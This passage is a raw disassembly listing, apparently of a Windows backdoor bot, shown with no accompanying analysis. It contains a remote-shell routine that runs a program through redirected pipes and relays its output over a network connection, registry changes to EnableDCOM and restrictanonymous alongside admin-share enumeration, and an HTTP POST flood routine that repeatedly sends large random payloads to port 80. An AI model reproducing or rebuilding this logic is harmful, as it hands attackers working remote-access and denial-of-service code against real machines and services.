		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		call	dword_427194	; PeekNamedPipe
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		call	dword_427190	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		call	dword_427080	; Sleep
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		call	dword_4270EC	; ReadFile
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		call	dword_4270D4	; ExitThread


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	dword_4270D4	; ExitThread


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	dword_4270D4	; ExitThread
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp
					; sub_416000+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90	; SearchPathA
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_427100	; DuplicateHandle
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		call	dword_427084	; CreateThread
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0	; RegCloseKey
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0	; RegCloseKey
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0	; RegCloseKey
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0	; RegCloseKey
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		call	dword_427198	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
